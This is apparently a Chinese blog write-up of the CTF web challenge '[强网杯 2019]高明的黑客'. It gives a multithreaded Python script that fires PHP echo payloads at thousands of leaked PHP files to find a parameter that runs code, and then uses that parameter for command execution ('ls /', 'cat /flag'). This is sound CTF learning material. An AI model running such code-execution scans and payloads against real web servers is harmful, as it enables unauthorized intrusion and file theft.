[强网杯 2019]高明的黑客

web第42题
[强网杯 2019]高明的黑客
打开靶场在这里插入图片描述
根据提示下载备份文件
在这里插入图片描述
里面有几千个php文件
在这里插入图片描述
审计一下发现,很多类似于这种,有命令执行的可能,但是很多将参数置空了,无法利用,只能自己寻找可以利用的php文件,手动寻找不现实 ,只能编写脚本

学习大佬的脚本:
出处:[强网杯 2019]高明的黑客(考察代码编写能力)

import os
import requests
import re
import threading
import time
print('开始时间:  '+  time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(30)  							  			#这儿设置最大的线程数
filePath = r"D:\phpstudy_pro\WWW\src"                 #指定文件路径
os.chdir(filePath)													#改变当前工作的路径
requests.adapters.DEFAULT_RETRIES = 5								#设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)                                        #os.listdir() 方法用于返回指定的文件夹包含的文件或文件夹的名字的列表。
session = requests.Session()                                        #创建session对象
session.keep_alive = False											 # 设置连接活跃状态为False
def get_content(file):                                              #用来对单个php文件进行测试的函数
    s1.acquire()
    print('trying   '+file+ '     '+ time.asctime( time.localtime(time.time()) ))
    with open(file,encoding='utf-8') as f:							#打开php文件,提取所有的$_GET和$_POST的参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))        #获取文件中包含所有GET型参数的名字的列表
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))      #获取文件中包含所有POST型参数的名字的列表
    data = {}														#所有的$_POST
    params = {}														#所有的$_GET
    for m in gets:                                                  #为所有的get型参数赋值存在字典中
        params[m] = "echo 'xxxxxx';"
    for n in posts:                                                 #为所有的post型参数赋值存在字典中
        data[n] = "echo 'xxxxxx';"
    url = 'http://127.0.0.1/src/'+file                          #放在自己的www目录下,进行拼接,方便request进行请求
    req = session.post(url, data=data, params=params)			#一次性请求所有的GET和POST
    req.close()												# 关闭请求  释放内存
    req.encoding = 'utf-8'
    content = req.text                                          #获取请求后网页的返回内容

    if "xxxxxx" in content:									#判断phpecho语句是否被执行,如果发现有可以利用的参数,继续筛选出具体的参数
        flag = 0
        for a in gets:
            req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
            content = req.text
            req.close()												# 关闭请求  释放内存
            if "xxxxxx" in content:
                flag = 1                                            #表明是get型参数起作用
                break
        if flag != 1:
            for b in posts:
                req = session.post(url, data={b:"echo 'xxxxxx';"})
                content = req.text
                req.close()												# 关闭请求  释放内存
                if "xxxxxx" in content:                                 #表明是post型参数起作用
                    break
        if flag == 1:													#flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
            param = a
        else:
            param = b
        print('找到了利用文件: '+file+"  and 找到了利用的参数:%s" %param)
        print('结束时间:  ' + time.asctime(time.localtime(time.time())))
    s1.release()

for i in files:															#加入多线程
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

整个代码我已经给了详细的注释
重点就是get_content函数,用来对相应的php文件,首先获取里面的get和post参数名,为参数名赋予php语句,然后对其发起请求,判断返回页面是否含有echo语句的值,如果有,那么此参数可以利用进行命令执行

注意:php版本最好调到7以上,不然会报错

执行效果:
在这里插入图片描述
在这里插入图片描述

利用该文件(xk0SzyKwfzw.php)的参数(Efa5BVG)进行命令执行
首先查看根目录下的文件:
payload:

xk0SzyKwfzw.php?Efa5BVG=ls /

在这里插入图片描述
发现有flag文件
cat一下:

xk0SzyKwfzw.php?Efa5BVG=cat /flag

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值